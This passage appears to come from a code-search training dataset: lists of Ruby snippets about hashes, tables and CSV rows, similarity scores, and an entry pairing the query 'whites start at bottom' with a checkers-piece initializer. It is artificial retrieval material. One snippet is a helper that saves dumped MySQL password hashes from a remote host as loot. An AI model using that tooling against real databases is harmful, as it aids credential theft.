"def row_to_hash(row, columns, key_map)\n hash = {}\n (0..columns.length - 1).each do |i|\n # First, convert the column name using the translation table\n key = key_map[columns[i]]\n\n # Only process column if it's name is included in translation table\n if key\n value = row[i]\n # For string values, convert carriage returns to newlines, since\n # EasyChair form-entered newlines appear to be stored as CRs in\n # the exported data. This is primarily for the abstract field,\n # but this code performs the mapping on all string-valued columns\n if value && value.is_a?(String)\n value.gsub!(/\\r/, \"\\n\")\n end\n\n # Now store the value in the hash we're building\n hash[key] = value\n end\n end\n # Return the hash created from the array representing a CSV row\n hash\nend",
"def make_fresh_writelist\n @to_write = {}\n @data.keys.each do |namelist|\n @to_write[namelist] = Array.new(@data[namelist].size, '')\n end\n end",
"def create_hash(filename)\n\t\tgraphs = [] #array of all graphs\n\t\tgraph = [] #array of points\n\t\tpoint = [] #points\n\t\thash = {}\n\t\tnoYcolumns = 0\n\t\tfile = File.open(filename, 'r')\n\t\twhile !file.eof?\n\t\t\tline = file.readline\n\t\t\tline = line.split(\",\").collect {|x| x.strip}\n\t\t\tnoYcolumns = line.length-1\n\t\t\tfor t in 0...noYcolumns #iterate over Y columns in row\n\t\t\t\tpoint[t] = [line[0].to_f, line[t+1].to_f] #get x,y1/2/3/...; save in point\t\n\t\t\t\tgraph.push(point[t]) #store each point in a graph\n\t\t\tend\n\t\t\tgraphs.push(graph) #store graph created in graphs array\n\t\t\tgraph = [] #clear the graph array\n\t\tend\n\t\t#graphs.length = num rows, graphs[i].length = num cols\n\t\tfor i in 0...noYcolumns #for each column i\n\t\t\tfor j in 0...graphs.length #for each row j\n\t\t\t\thash.store(graphs[j][0][0], graphs[j][i][1]) #let x point to y1/2/3/...\n\t\t\tend\n\t\t\tgraph[i] = hash\n\t\t\thash = {}\n\t\tend\n\t\tfile.close\n\t\tgraph\n\tend",
"def to_h\n hsh = {}\n each do |b|\n b.each { |sb| hsh[sb.key] = sb.value }\n end\n hsh\n end",
"def constructHashFromFile(input)\n\t\t\tresult = Hash.new()\n\t\t\tsize = input.size/6\n\t\t\tfor i in 0..size-1\n\t\t\t\talimento = Alimento.new(input[6*i], input[6*i+1].to_f, input[6*i+2].to_f, input[6*i+3].to_f, input[6*i+4].to_f, input[6*i+5].to_f)\n\t\t\t\tresult.store(input[6*i] , alimento )\n\t\t\tend\n\t\t\treturn result\n\t\tend",
"def text2hash (stanza_name,query_names, tax_id)\n result = {}\n #load each query result file\n query_names.each do |query_name|\n input_file = \"#{PREPARE_DIR}/text/#{query_name}/#{tax_id}.txt\"\n File.open(\"#{input_file}\") do |f|\n while line = f.gets\n # convert a line to hash object\n columns_info = get_query_columns(stanza_name, query_name)\n gene_text_data = gene_obj_mapping(line, query_name, columns_info)\n\n gene_id = gene_text_data[\"gene_id\"]\n if result[gene_id] == nil\n result[gene_id] = gene_text_data\n else\n result[gene_id].merge!(gene_text_data) do |key, oldval, newval|\n if key.to_s == 'gene_id' || key.to_s == '@id' # no repeat of tax id\n oldval\n else # concat text data\n oldval.concat(newval).uniq\n end\n end\n end\n end\n end\n end\n result\nend",
"def tableConvert(tableName, table)\n dbTableH = Hash.new\n records = Array.new\n i = 0\n \n table.each do\n |row|\n records[i] = row\n i += 1\n end\n dbTableH[tableName] = records\n \n return dbTableH\nend",
"def hash\n [article_number, name, quantity, unit_price, discount_percent, vat_percent, unit, temporary_reference, row_number, merchant_data].hash\n end",
"def store_entries(entries)\n path_checksums = {}\n entries.each do |entry|\n path_checksums[entry.path] = entry.sha256 if entry.sha256.present?\n store_entry entry\n end\n store_checksums path_checksums\n end",
"def to_hash\n @table.inject(Hash.new) { |h, arr| k, v = arr; h[k.id2name] = v; h }\n end",
"def html_to_hashes\n doc = Nokogiri::HTML(tempfile)\n table = doc.css('table').first\n html_table_to_hashes table# rescue {}\n end",
"def entries( rows )\n rows.split(\"\\n\").map do |line|\n row = line.split\n OpenStruct.new(\n :creation_date => row[0],\n :card_state => row[1],\n :card_estimate_total => row[2],\n :card_to_do_total => row[3]\n )\n end\nend",
"def generate_hexdigest_indexed_list(size_indexed_list, head_size = nil)\n result = {}\n size_indexed_list.each_pair{|old_key, filename_arr|\n filename_arr.each{|filename|\n if head_size == nil\n $stdout.puts \"SHA512 hash calculation: #{filename}\"\n else\n $stdout.puts \"Header (#{head_size}) SHA512 hash calculation: #{filename}\"\n end\n\n hexdigest = get_file_header_sha512(filename, head_size)\n\n if result.has_key?(hexdigest) == false\n result[hexdigest] = []\n end\n result[hexdigest].push(filename)\n }\n }\n return result\nend",
"def create_column_data\n\tcolumn_hash = {}\n\t\n\tcreate_column_data_array.map do |array|\n\tcolumn_hash = {title: array[0], table_id: array[1], \n\t\tcol_id: array[2]}\n\tend\nend",
"def export(path)\n FileUtils.mkdir_p(path)\n @table.each do |key, table|\n File.open(File.expand_path(\"#{key}.txt\", path), 'w:UTF-8').puts table\n end\n return self\n end",
"def create\n file = File.open(\"db/emails.json\", \"w\")\n system \"clear\"\n puts \"Création du tableau de hash pour le departement du Rhone...\".green\n hash_lyon = get_all_the_urls_townhalls_rhone\n puts \"Création du tableau de hash pour le departement du Cote d'or...\".green\n hash_cote_d_or = get_all_the_urls_townhalls_cot_d_or\n puts \"Création du tableau de hash pour le departement du Bouche du Rhone...\".green\n hash_bouch_du_rhone = get_all_the_urls_townhalls\n puts \"Fusion des tableaux de hash...\".red\n hash = hash_lyon.merge(hash_cote_d_or)\n super_hash = hash.merge(get_all_the_urls_townhalls)\n puts \"Création du fichier .json\".green\n puts \"FIN...\".green\n return File.open(\"db/emails.json\",\"w\") do |f|\n f.write(super_hash.to_json)\n end\n end",
"def to_h\n @table.reduce({}) do |hash, (key, value)|\n hash[key] = value.to_h\n hash\n end\n end",
"def file_write\n File.open(@@filename,\"r\") do |file|\n file.each_line do |line|\n rg = /<td.*>([\\w\\s\\.*]*)<\\/td>/i\n str = line.scan(rg)\n\n arr = str.to_a\n if arr.any?\n @temp_arr ||= []\n arr.each{|i| @temp_arr.push(arr) }\n @temp_arr\n end\n\n end\n @temp_arr = @temp_arr.flatten\n p @temp_arr\n CSV.open(\"profiles.csv\", \"w\") do |row|\n @temp_arr.each_slice(4).to_a.each do |temp|\n row << temp\n end\n end\n\n end\n end",
"def write_table(ws, table, my_order)\n keylist = []\n table.each { |row| keylist |= row.keys } # form the superset of all the keys\n colnum = 0\n # First, write the columns for the prioritised keys\n my_order.each do |key|\n ws.add_cell(0, colnum, key.to_s) # the column title\n rownum = 1\n table.each do |row|\n ws.add_cell(rownum, colnum, row[key])\n #row.delete(key)\n rownum += 1\n end\n colnum += 1\n keylist.delete(key)\n end\n # Then, write the columns for the remaining keys\n keylist.each do |key|\n ws.add_cell(0, colnum, key.to_s) # the column title\n rownum = 1\n table.each do |row|\n ws.add_cell(rownum, colnum, row[key])\n #row.delete(key)\n rownum += 1\n end\n colnum += 1\n end\nend",
"def csv_hash\n {\n vendor: self.vendor_name,\n name: self.name,\n url: self.url,\n enable_proxy: self.access == 2 ? 1 : 0,\n description: self.description,\n more_info: '',\n enable_new: self.new_database.to_i,\n enable_trial: self.trial_database.to_i,\n types: self.resources.pluck(:name).join(';'),\n keywords: '',\n target: 0,\n slug: '',\n best_bets: self.curated.pluck(:name).join(';'),\n subjects: self.subjects.pluck(:name).join(';'),\n desc_pos: 1,\n lib_note: 0,\n enable_popular: self.popular.to_i,\n enable_hidden: 0,\n internal_note: '',\n owner: '',\n resource_icons: '',\n thumbnail: '',\n content_id: self.libguides_id\n }\n end",
"def to_h\n hash = Hash.new\n hash[:flowcell_id] = self.id\n hash[:samples] = []\n each_sample_with_lane do |sample, lane|\n hash[:samples] << sample.to_h\n end\n hash[:paths] = self.paths.to_h\n hash\n end",
"def write_row(row)\n end",
"def table_to_hashes(table)\n array_to_hashes(table_to_array(table))\nend",
"def to_h\n h = {}\n each { |f| h.store f.name, f.value }\n h\n end",
"def calcular_promedio(hash)\n file = File.open('promedios.csv', 'w')\n hash.each do |key, value|\n suma = 0\n value.each do |n|\n suma += n.to_i\n end\n file.puts \"El alumno #{key} tiene : promedio #{suma.to_f/value.count}\"\n puts \"El alumno #{key} tiene : promedio #{suma.to_f/value.count}\"\n end\n file.close\n puts ''\nend",
"def group(rows, headers={})\n rows ||= []\n data = ActiveSupport::OrderedHash.new\n\n rows.each do |row|\n row.each_with_index do |value, index| # metrics.each\n next if index < @dimensions.size\n\n name = headers[:names][index]\n value = cast(value, headers[:types][index])\n \n next data[name] = value if @dimensions.empty?\n scope = (data[name] ||= ActiveSupport::OrderedHash.new) \n\n row.each_with_index do |dimension, count| # dimensions.each\n next if count >= @dimensions.size\n\n dimension = cast(dimension, headers[:types][count])\n\n if count + 1 == @dimensions.size\n scope[dimension] = value\n else\n scope = (scope[dimension] ||= ActiveSupport::OrderedHash.new)\n end\n end\n end\n end\n\n data\n end",
"def file_hashes\n @file_hashes ||= file_field_sets.map do |file_field_set|\n instantiation_fields, file_fields = file_field_set.partition do |field|\n instantiation_header?(field.header)\n end\n\n file_hash = fields_to_hash(file_fields)\n file_hash['files'] = [fields_to_hash(instantiation_fields)]\n\n file_hash\n end\n end",
"def report_hashes(hash_loot,service)\n filename= \"#{rhost}-#{rport}_mysqlhashes.txt\"\n path = store_loot(\"mysql.hashes\", \"text/plain\", rhost, hash_loot, filename, \"MySQL Hashes\", service)\n print_good(\"#{rhost}:#{rport} Hash Table has been saved: #{path}\")\n\n end",
"def to_hash(cols=[])\n col_info = column_info(cols)\n rows = []\n while try { @result_set.next } do\n row = {}\n col_info.each do |col, info|\n obj = try{ @result_set.object(info[:index]) }\n case info[:type]\n when :string\n row[col] = obj.to_s\n when :boolean\n row[col] = (obj.to_s =~ /true/i ? true : false)\n when :long\n row[col] = obj.to_i\n when :double\n row[col] = obj.to_f\n else\n log.warning \"Unkown type: #{info[:type]} for #{col}\"\n row[col] = obj.to_s\n end\n end\n rows << row\n end\n rows\n end",
"def save_hash(hash)\n\t\tsavefile = File.open(@fname, \"w\")\n\t\t\n\t\t# write each matrix from the hash into the save file\n\t\thash.each { |identifier, matrix|\n\t\t # only save user matrices, not cached identities and zeroes\n\t\t\tif not @parser.reserved_identifier? identifier\n\t\t\t\t# get matrix dimensions\n\t\t\t\tm = matrix.length\n\t\t\t\tn = matrix.first.length\n\t\t\t\t\n\t\t\t\t# print identifier\n\t\t\t\tsavefile.puts identifier\n\t\t\t\t\n\t\t\t\t# print matrix in a readable format into the file\n\t\t\t\tfor row in 0...m\n\t\t\t\t\tsavefile.write '| '\n\t\t\t\t\tfor col in 0...n\n\t\t\t\t\t\tsavefile.write matrix[row][col].to_s + ' '\n\t\t\t\t\tend\n\t\t\t\t\tsavefile.write '|'\n\t\t\t\t\tsavefile.puts\n\t\t\t\tend\n\t\t\t\t\n\t\t\t\t# print a blank line after the end of a matrix\n\t\t\t\tsavefile.puts\n\t\t\tend\n\t\t}\n\t\tsavefile.close\n\tend",
"def make_cells_for_row\n (drill.headers.size).times do |num|\n header_id = drill.headers.sort_by(&:position)[num].id\n self.exercise_items.create(:header_id => header_id)\n end\n end",
"def write_row(row, lat)\n file_no = (lat/10).floor + 9\n $ofh_arr[file_no].write(row + \"\\n\")\nend",
"def hash_maker(array)\n hash = {}\n array.each do |element|\n hash[element] = {:color => [], :gender => [], :lives => []}\n end\n hash\nend",
"def read_and_hash\n $students = []\n file = File.open('grades.csv', 'r')\n files = file.readlines\n files = files.map(&:chomp)\n files = files.map { |line| line.split(/\\W+/) }\n file.close()\n files.each do |array|\n $students.push(name: array.shift, grades: array)\n end\nend",
"def each\n CSV.foreach(@file, @options) do |row|\n yield row.to_hash\n end\n end",
"def html_to_hashes(file)\n doc = Nokogiri::HTML(file)\n table = doc.css('table').first\n html_table_to_hashes table rescue {}\n end",
"def write_multi_entries(hash, **options)\n hash.each do |key, entry|\n write_entry key, entry, **options\n end\n end",
"def row_set_to_array_of_hashes(headers, row_set)\n result = Array.new\n row_set.each do |row|\n if row.count == headers.count\n row_hash = Hash.new\n headers.zip(row).each do |header, value|\n row_hash[header.underscore.to_sym] = value\n end\n result.push row_hash\n else\n raise BadResponseError.new(\"Row set header count (#{headers.count}) doesn't match row item count (#{row.count}).\")\n end\n end\n result\n end",
"def fill_hash_record_from_line(column_names, headers, line)\n hash_record = {}\n fields = line.split(@sep)\n\n fields.each_with_index do |field, field_id|\n hash_record[headers[field_id]] = field if column_names.include?(headers[field_id])\n end\n\n hash_record\n end",
"def update_row(hash)\n raise ORM::TableError, \"Something went wrong.\" unless hash[:id].present?\n\n result_table = table.map! { |e| e[:id] == hash[:id] ? e = e.merge!(hash) : e }\n File.write(@table_path, JSON.generate(result_table))\n end",
"def to_h\n array = []\n array << @header.to_h if @header\n @entries.each do |entry|\n array << entry.to_h\n end\n array\n end",
"def csv_to_json(rows)\n\n objs = []\n \n headers = rows[0]\n \n for i in 1..rows.size - 1\n row = rows[i]\n obj = {}\n for j in 0..headers.size - 1\n header = headers[j].to_s\n val = row[j]\n obj[header] = val\n end\n objs << obj \n end\n\n return objs\n\nend",
"def hashes(to = $stdout)\n hashes = {}\n \n ObjectSpace.each_object(Hash) do |hash|\n begin\n keys_orig = hash.keys.sort\n rescue ArgumentError\n #When unable to sort regexps...\n next\n end\n \n keys = []\n keys_orig.each do |key|\n keys << key.to_s\n end\n \n if keys.empty?\n keystr = :empty\n else\n keystr = keys.join(\":\")\n end\n \n if !hashes.key?(keystr)\n hashes[keystr] = 1\n else\n hashes[keystr] += 1\n end\n end\n \n hashes.delete_if do |key, val|\n val < 100\n end\n \n hashes = Knj::ArrayExt.hash_sort(hashes) do |h1, h2|\n h2[1] <=> h1[1]\n end\n \n to.print \"<h1>Hashes</h1>\\n\"\n to.write \"<table class=\\\"hashes list\\\">\\n\"\n to.write \"\\t<thead>\\n\"\n to.write \"\\t\\t<tr>\\n\"\n to.write \"\\t\\t\\t<th>Hash keys</th>\\n\"\n to.write \"\\t\\t\\t<th>Instances</th>\\n\"\n to.write \"\\t\\t</tr>\\n\"\n to.write \"\\t</thead>\\n\"\n to.write\"\\t<tbody>\\n\"\n \n hashes.each do |key, val|\n to.write \"\\t\\t<tr>\\n\"\n to.write \"\\t\\t\\t<td>#{Knj::Web.html(key)}</td>\\n\"\n to.write \"\\t\\t\\t<td>#{Knj::Locales.number_out(val, 0)}</td>\\n\"\n to.write \"\\t\\t</tr>\\n\"\n end\n \n to.write \"\\t</tbody>\\n\"\n to.write \"</table>\\n\"\n end",
"def to_hash\n data = Hash.new\n Dynamic.tables.each do |name, value|\n data[name] = Hash.new\n value.all.each do |primary, instance|\n data[name][primary] = instance.to_array\n end\n end\n data\n end",
"def interleaved_table_to_hash(table)\n hash = {}\n array = table_to_array table\n array.each do |row|\n if row.size % 2 == 0\n hash.merge! Hash[*row]\n end\n end\n hash.delete \"\"\n hash\nend",
"def generate_csv_file(file_path, row_data)\n CSV.open(file_path, \"wb\") do |csv|\n csv << [\"first_name\", \"last_name\", \"dob\", \"member_id\", \"effective_date\", \"expiry_date\", \"phone_number\"]\n row_data.each { |row| csv << row }\n end\nend",
"def csv_write (filename = \"students.csv\")\n CSV.open(filename, \"w\") do |row|\n @students.each do |student|\n row << [student[:name], student[:cohort], student[:food]]\n end\n end\nend",
"def data_to_rows\n rows = []\n headers = get_ordered_headers\n rows << headers\n @data.each do |druid, column_hash|\n row_out = [druid]\n headers.each do |header|\n if header == 'druid'\n next\n elsif column_hash.keys.include?(header)\n row_out << column_hash[header].gsub(/\\n/, \" \").squeeze(\" \")\n else\n # Padding if row does not have data for that header\n row_out << \"\"\n end\n end\n rows << row_out\n end\n rows\n end",
"def generate_table_of_contents(table_of_contents, file_names)\n\n contents_hash = Hash.new\n file_names.each_with_index do |val,index|\n contents_hash[index+1] = val[0..-5]\n end\n\n table_of_contents.table(contents_hash) do |table|\n table.rows(file_names.length)\n end\n\n table_of_contents.render_file \"table_of_contents.pdf\"\n\n # contents_hash = Hash.new\n\n # # add anchor tag to each element\n # file_names.each_with_index do |val,index|\n # contents_hash[index+1] = table_of_contents.add_dest(val, 6)\n # end\n\n # p contents_hash[1].class\n\n # # table_of_contents.table(contents_hash) do |table|\n # # table.rows(contents_hash.length)\n # # end\n\n # table_of_contents.render_file \"table_of_contents.pdf\"\n\nend",
"def write(table, row)\n file = $tables[table]\n\n # By default, set the ID to the last index + 1\n # This can potentially re-use a deleted ID\n # But it cannot (yet) create two rows with the same ID\n id = file.size() == 0 ?\n 1 :\n file.last_line.split(\",\").first.to_i + 1\n\n # Add the id to the beginning of the row\n row.unshift(id)\n\n file.puts(serialize(row))\n\n id\nend",
"def grades_to_hash(csv)\n csv.map { |r| r.to_hash }\n end",
"def add_new_record(h, ws)\n row_array = []\n @excel_row.each do |a|\n row_array.push(h[a])\n end\n ws.add_row row_array\nend",
"def to_h\n Hash[all_entries]\n end",
"def create_arr_hashes(arr_arrays)\n\thash_keys = arr_arrays.shift.map { |key| key.to_sym }\n\tarr_index = 0\n\tarr_hashes = []\n\tarr_arrays.each do |student|\n\t\t\tstudent_hash = {}\n\t\t\tstudent.each do |value|\n\t\t\t\tstudent_hash[hash_keys[arr_index]] = value\n\t\t\t\tarr_index += 1\n\t\t\t\tend\n\t\t\tstudent_hash[:cohort] = :March\n\t\t\tarr_hashes << student_hash\n\t\t\tarr_index = 0\n\t\t\tend\n\tarr_hashes\nend",
"def to_h\n hash = {}\n each_with_name{ |v, n| hash[n] = v}\n hash\n end",
"def to_record(row)\n rec = Hash[HEADERS.zip(row)]\n return {\n :lat => rec[:lat].to_f,\n :lon => rec[:lon].to_f,\n :num_poi => rec[:num_poi].to_i,\n :mean_version => rec[:mean_version].to_f,\n :mean_users => rec[:mean_users].to_f\n }\nend",
"def hash_hash(h)\n require 'digest/md5'\n Digest::MD5.hexdigest(Marshal::dump(h.sort))\n end",
"def hashes(with_table=false, &block)\n rows = []\n self.each_hash(with_table) do |row|\n rows << ((block) ? yield(row) : row)\n end\n rows\n end",
"def export_summary(user_data)\n header = []\n row = []\n\n # chose to remove the 'total' key in the hash, figured end user will want to use own calculation on the CSV file when downloaded\n user_data[\"points\"].delete(\"total\")\n\n # put the hash keys into an array to form the header line\n user_data[\"points\"].each_key do |key|\n header << key\n end\n\n # put the values in an array to form the first line\n user_data[\"points\"].each_value do |value|\n row << value\n end\n\n # create the CSV file\n CSV.open(\"summary_#{user_data[\"name\"].downcase.split.join(\"_\")}.csv\", \"wb\") do |csv|\n\n # add the arrays into the file to create the header and first row\n csv << header\n csv << row\n end\n\n # unless something went wrong, show that the data exported correctly\n if File.exist?(\"summary_#{user_data[\"name\"].downcase.split.join(\"_\")}.csv\")\n puts \"\\nFile successfully save!\"\n else\n puts \"\\nThe files did not save, try again.\"\n end\nend",
"def split_entries(entries)\n per_employee = Hash.new { |h,k| h[k] = [] }\n entries.each do |entry|\n per_employee[entry[:name]] << entry\n end\n per_employee\nend",
"def save_hash_tree(node_hashes)\n tree_size = SpStore::Merkle::HashTreeHelper.full_tree_node_count @blocks\n raise ArgumentError, \"Hash tree size doesn't match the size of the existed one\" unless (tree_size+1) == node_hashes.length\n File.open(disk_hash_file, 'wb') do |file|\n file.seek( hash_byte_size, IO::SEEK_SET)\n (1..tree_size).each do |node|\n file.write node_hashes[node]\n end\n end\n end",
"def csv_attributes\n @csv_attributes ||= Hash[header.column_names.zip(row_array)]\n end",
"def disk_hash_tree\n tree_size = SpStore::Merkle::HashTreeHelper.full_tree_node_count @blocks\n node_hashes = Array.new(tree_size+1)\n File.open(disk_hash_file, 'rb') do |file|\n file.seek(hash_byte_size, IO::SEEK_SET)\n (1..tree_size).each do |idx|\n node_hashes[idx] = file.read(hash_byte_size)\n end\n end\n node_hashes\n end",
"def generate_tabular_report(filename, ostream)\n file = File.read(filename)\n data_hash = JSON.parse(file)\n rpt_data = transform(data_hash)\n rpt_data.keys.each do |name|\n ostream.puts\n ostream.puts name\n tbl = create_resources_table(rpt_data[name]['resources'])\n tbl.each do |r|\n ostream.puts r.join(\"\\t\")\n end\n end\nend"
] |
[
"0.71236014",
"0.6468792",
"0.6459042",
"0.6358782",
"0.628336",
"0.6224471",
"0.6188475",
"0.61865014",
"0.614731",
"0.61054206",
"0.60396963",
"0.60146755",
"0.59880847",
"0.59871787",
"0.59838164",
"0.5963479",
"0.5943188",
"0.59374887",
"0.5872913",
"0.5847528",
"0.5823733",
"0.57896733",
"0.5779382",
"0.57718956",
"0.57464963",
"0.5728113",
"0.5728113",
"0.571865",
"0.57168037",
"0.571585",
"0.57040423",
"0.5699397",
"0.5696129",
"0.56901413",
"0.56510663",
"0.5607967",
"0.5585257",
"0.55792665",
"0.55660206",
"0.55195713",
"0.5513193",
"0.55008787",
"0.5500475",
"0.5497941",
"0.5497885",
"0.5479643",
"0.5478758",
"0.5476164",
"0.54612625",
"0.545385",
"0.5451397",
"0.5442826",
"0.5429831",
"0.542631",
"0.5415669",
"0.54076135",
"0.54047513",
"0.5399484",
"0.5399103",
"0.5395454",
"0.5392231",
"0.53883684",
"0.5378363",
"0.5378071",
"0.5374493",
"0.53725386",
"0.5368349",
"0.5360035",
"0.5359604",
"0.53531444",
"0.53138685",
"0.5312988",
"0.5305221",
"0.5304462",
"0.53027606",
"0.53009003",
"0.52998686",
"0.52969146",
"0.529632",
"0.52950865",
"0.5294066",
"0.52911985",
"0.52845424",
"0.52828693",
"0.5277846",
"0.5275225",
"0.52689266",
"0.526691",
"0.5262376",
"0.52615595",
"0.5259499",
"0.5257001",
"0.52501255",
"0.52481437",
"0.5247222",
"0.5245553",
"0.5243238",
"0.524299",
"0.5236204",
"0.5235582"
] |
0.65567064
|
1
|
whites start at bottom
|
def initialize(pos, grid, color, king = false)
@pos = pos
@color = color
@grid = grid
@king = king
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def move_to_bottom\n return unless in_list?\n\n decrement_positions_on_lower_items\n assume_bottom_position \n end",
"def move_to_bottom\n # return unless in_list?\n acts_as_list_class.transaction do\n decrement_positions_on_lower_items if in_list?\n assume_bottom_position\n end\n end",
"def insert_at_bottom\n assume_bottom_position\n end",
"def assume_bottom_position\n update_attribute(:position, bottom_position_in_list(self).to_i + 1)\n end",
"def move_to_bottom\n return unless in_list?\n\n decrement_positions_on_lower_items\n assume_bottom_position\n end",
"def assume_bottom_position\n set_list_position(bottom_position_in_list(self).to_i + 1)\n end",
"def add_to_bottom\n self.position = bottom + 1\n end",
"def move_to_bottom\n return unless in_list?\n acts_as_list_class.transaction do\n decrement_positions_on_lower_items\n assume_bottom_position\n end\n end",
"def assume_bottom_position\n pos = bottom_position_in_list(self).to_i + 1 \n set_my_position(pos)\n end",
"def bottom\n scoped_all.size + start - 1\n end",
"def move_to_bottom\n self.class.transaction do\n decrement_position_of_lower_items\n set_bottom_position\n end\n end",
"def assume_bottom_position\n pos = bottom_position_in_list(self).to_i + 1\n set_my_position(pos)\n end",
"def move_to_bottom\n return unless in_list?\n insert_at_position bottom_position_in_list.to_i\n end",
"def bottom\n @ole.Bottom\n end",
"def bottom\n @ole.Bottom\n end",
"def bottom!\n self.ox = self.width/2\n self.oy = self.height\n end",
"def move_to_bottom\n return true if at_bottom?\n move_below(last_sibling_in_list)\n end",
"def starting_position; end",
"def assume_bottom_position\n update_attribute(position_column, bottom_position_in_list(self).to_i + 1)\n end",
"def bottom()\n @view__.bottom\n end",
"def move_to_bottom\n return if self == self_and_siblings(true).last\n move_to(self_and_siblings.last.position_in_list)\n end",
"def bottom\n row, col = @position\n return [row + 1, col] unless row + 1 > 7\n []\n end",
"def goto_bottom\n if y < battlefield_height - 61\n accelerate 1\n else\n @at_bottom = true\n end\n end",
"def fallen_off_bottom?\n self.y > $window.height\n end",
"def setup_anim_bottom\n # not sure if needed\n $game_temp.anim_top = (@acts[1] == true || @acts[1].nil? ? -1 : 0)\n end",
"def bottom; return self[1]+self[3]; end",
"def setup_anim_bottom\n $game_temp.anim_top = (@acts[1] == true || @acts[1].nil? ? -1 : 0)\n end",
"def bottom\n return @bottom\n end",
"def end_pos; end",
"def end_pos; end",
"def bottom()\n return @top + @height\n end",
"def endRow; @row + @height - 1; end",
"def bottomToTopWraparound(grid, width, height)\n\n strings = bottomToTop(grid, width, height)\n\n for string in strings do\n\n string << string\n\n end\n\n return strings\n\nend",
"def bottom\n self.ox = self.src_rect.width/2\n self.oy = self.src_rect.height\n end",
"def move_to_bottom_in_queue\n return unless in_queue?\n acts_as_queue_class.transaction do\n decrement_queue_positions_on_lower_items\n assume_bottom_queue_position\n end\n end",
"def test_moveTo_Outside_Bottom\n w = Window_Base.new(200, 150, 100, 50)\n @windows.push(w)\n w.animationSpeed = 2000\n w.moveTo(200, 530)\n return true\n end",
"def at_bottom?\n lower_siblings.empty?\n end",
"def end_pos=(_); end",
"def move_down\n return if at_bottom?\n self.class.where(:position => self.position + 1).first.inc(:position, -1)\n inc(:position, 1)\n end",
"def bottom(value)\n @ole.Bottom = value\n nil\n end",
"def bottom(value)\n @ole.Bottom = value\n nil\n end",
"def bottom_gap?\n near_pages.first > 1\n end",
"def bottomToTop(grid, width, height)\n\n strings = topToBottom(grid, width, height)\n\n for string in strings do\n string.reverse!\n end\n\n return strings\n\nend",
"def move_to_bottom\n last_sib = last_sibling\n move_to_right_of(last_sib) if last_sib && self != last_sib\n end",
"def goto_end\n @oldindex = @current_index\n $multiplier ||= 0\n if $multiplier > 0\n goto_line $multiplier\n return\n end\n @current_index = @content_rows-1\n @prow = @current_index - @scrollatrows\n $multiplier = 0\n end",
"def keep_top\n @pos_y = court.top_y\n end",
"def scroll_backward\n #@oldindex = @current_index\n @current_index -= @scrollatrows\n @prow = @current_index - @scrollatrows\n end",
"def topping; end",
"def bottom\n @widget.margins.bottom + @widget.borders.bottom\n end",
"def topToBottomWraparound(grid, width, height)\n\n strings = topToBottom(grid, width, height)\n\n for string in strings do\n\n string << string\n\n end\n\n return strings\n\nend",
"def test_moveTo_Inside_Bottom\n w = Window_Base.new(200, 530, 100, 50)\n @windows.push(w)\n w.animationSpeed = 2000\n w.moveTo(200, 100)\n return true\n end",
"def goto_end\n @cursor = @view.size - 1\n @sta = @view.size - @pagesize\n @old_cursor = nil\n redraw_required\nend",
"def sg_pad_ends(half_window)\n start = self[1..half_window]\n start.reverse!\n start.map! {|v| self[0] - (v - self[0]).abs }\n\n fin = self[(-half_window-1)...-1]\n fin.reverse!\n fin.map! {|v| self[-1] + (v - self[-1]).abs }\n start.push(*self, *fin)\n end",
"def bottom_left\n row, col = @position\n return [row + 1, col - 1] unless row + 1 > 7 || col - 1 < 0\n []\n end",
"def test_directionBottom\n [@window, @sprite, @bitmap].each{|container|\n uc = UCCharacterGraphic.new(container, Rect.new(200, 40, 40, 40), $data_actors[1])\n uc.direction = 0\n uc.draw()\n }\n return true\n end",
"def assume_bottom_queue_position\n update_attribute(queue_position_column, bottom_queue_position_in_queue(self).to_i + 1)\n end",
"def last?\n position == bottom\n end",
"def start_after; end",
"def footer_top_position\n bounds.bottom + layout.margin.bottom\n end",
"def bottom\n `#{clientRect}.bottom` + Window.scrollY\n end",
"def move_to_bottom(klass)\n remove(klass)\n self.instance.add(klass)\n end",
"def bottom=(value)\n @bottom = value\n end",
"def column_next dir=0\n if dir == 0\n $stact += $grows\n $stact = 0 if $stact >= $viewport.size\n else\n $stact -= $grows\n $stact = 0 if $stact < 0\n end\nend",
"def column_next dir=0\n if dir == 0\n $stact += $grows\n $stact = 0 if $stact >= $viewport.size\n else\n $stact -= $grows\n $stact = 0 if $stact < 0\n end\nend",
"def column_next dir=0\n if dir == 0\n $stact += $grows\n $stact = 0 if $stact >= $viewport.size\n else\n $stact -= $grows\n $stact = 0 if $stact < 0\n end\nend",
"def bottom_cell_y_at(y); (y + HEIGHT - 1) / HEIGHT; end",
"def endCol; @col + @width - 1; end",
"def pbBottomRight(window)\n window.x=Graphics.width-window.width\n window.y=Graphics.height-window.height\nend",
"def move_to_bottom(tag, klass)\n remove(tag, klass)\n self.instance.add(tag, klass)\n end",
"def goto_end\n $multiplier ||= 0\n if $multiplier > 0\n goto_line $multiplier - 1\n return\n end\n @current_index = @list.count() - 1\n @prow = @current_index - @scrollatrows\n $multiplier = 0\n end",
"def bottom_right\n @position + @dimensions\n end",
"def pad_bottom(y)\n yield\n move_down(y)\n end",
"def move_to_top\n return if position_in_list == 1\n move_to(1)\n end",
"def bottom_item\n @current = last\n\n items\n end",
"def bottomleft; return self[0], self.bottom; end",
"def exclude_end?() end",
"def bottom_position_in_list(except = nil)\n item = bottom_item(except)\n item ? item.current_position : acts_as_list_top - 1\n end",
"def assume_top_position\n update_attribute(:position, 1)\n end",
"def tail\n board[snake[-1][0]].insert(snake[-1][1], nil)\n board[snake[-1][0]].delete_at(snake[-1][1]+1)\n end",
"def c_bottomleft\n print cursor.column(0)\n print cursor.row(height)\n end",
"def leading; end",
"def scroll_backward\n @oldindex = @current_index\n @current_index -= @scrollatrows\n @prow = @current_index - @scrollatrows\n end",
"def assume_top_position\n set_my_position(1)\n end",
"def assume_top_position\n set_my_position(1)\n end",
"def bottom\n @x_max\n end",
"def new_line\n biggest = @biggest_text_height > WLH ? @biggest_text_height : WLH\n @contents_x = 0 \n @contents_y += biggest\n @biggest_text_height = WLH\n end",
"def rows\n top...(top + bordered_height)\n end",
"def scroll_to_bottom\n execute_script 'window.scrollTo(0, document.body.scrollHeight);'\n sleep 1\n end",
"def show_bottom_of_page\n driver.execute_script('window.scrollTo(0,document.body.scrollHeight)')\n end",
"def ensure_cursor_visible\r\n self.top_col = index if index < top_col\r\n self.bottom_col = index if index > bottom_col\r\n end",
"def current_position\n return super if $game_system.battle_interpreter.running?\n return :bottom\n end",
